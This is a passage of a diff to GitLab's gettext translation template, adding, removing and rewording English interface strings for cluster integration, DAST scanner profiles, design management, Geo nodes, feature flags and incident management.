+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5807,12 +5936,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5852,15 +5984,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5885,6 +6029,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -5900,9 +6047,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -5933,7 +6077,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6110,6 +6254,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6310,7 +6460,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6763,9 +6913,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6850,6 +6997,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6862,6 +7012,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6886,15 +7039,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -6925,6 +7084,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -6940,6 +7102,11 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Create"
msgstr ""
@@ -7030,6 +7197,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7066,6 +7236,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -7090,6 +7263,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7261,6 +7437,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7357,6 +7536,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7521,6 +7709,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7551,25 +7742,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7578,7 +7799,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7590,6 +7820,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7599,12 +7832,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7677,7 +7967,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7755,10 +8045,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -7815,6 +8105,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7836,15 +8129,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7854,6 +8156,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7880,6 +8185,11 @@ msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] ""
msgstr[1] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7888,6 +8198,9 @@ msgstr[1] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7900,6 +8213,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -7918,6 +8234,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -7956,8 +8275,8 @@ msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
msgstr[1] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
@@ -8002,7 +8321,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8236,13 +8555,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8275,15 +8603,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8365,7 +8684,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8374,6 +8696,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8386,7 +8711,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8491,9 +8819,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8508,7 +8833,7 @@ msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
msgstr[1] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8760,9 +9085,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9051,9 +9373,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9222,6 +9541,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9246,7 +9568,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9525,6 +9847,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9852,7 +10177,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9873,6 +10198,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9882,9 +10210,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9897,9 +10222,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -9909,9 +10231,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9924,9 +10243,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10358,12 +10674,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10448,6 +10770,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10457,9 +10782,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10499,6 +10821,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10724,6 +11049,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10895,30 +11223,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -10934,12 +11247,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -10967,12 +11274,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -10994,15 +11295,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11030,27 +11322,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11063,6 +11340,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11126,6 +11409,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11258,10 +11547,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11438,7 +11727,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11555,7 +11844,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11837,6 +12129,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12113,7 +12408,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12326,6 +12621,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12341,6 +12639,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12471,6 +12772,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12627,6 +12931,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12780,6 +13090,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12795,6 +13108,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12807,13 +13123,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12822,21 +13138,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12849,6 +13168,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12867,6 +13189,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12942,6 +13267,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13008,6 +13336,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13022,7 +13353,7 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13049,6 +13380,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13061,13 +13398,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
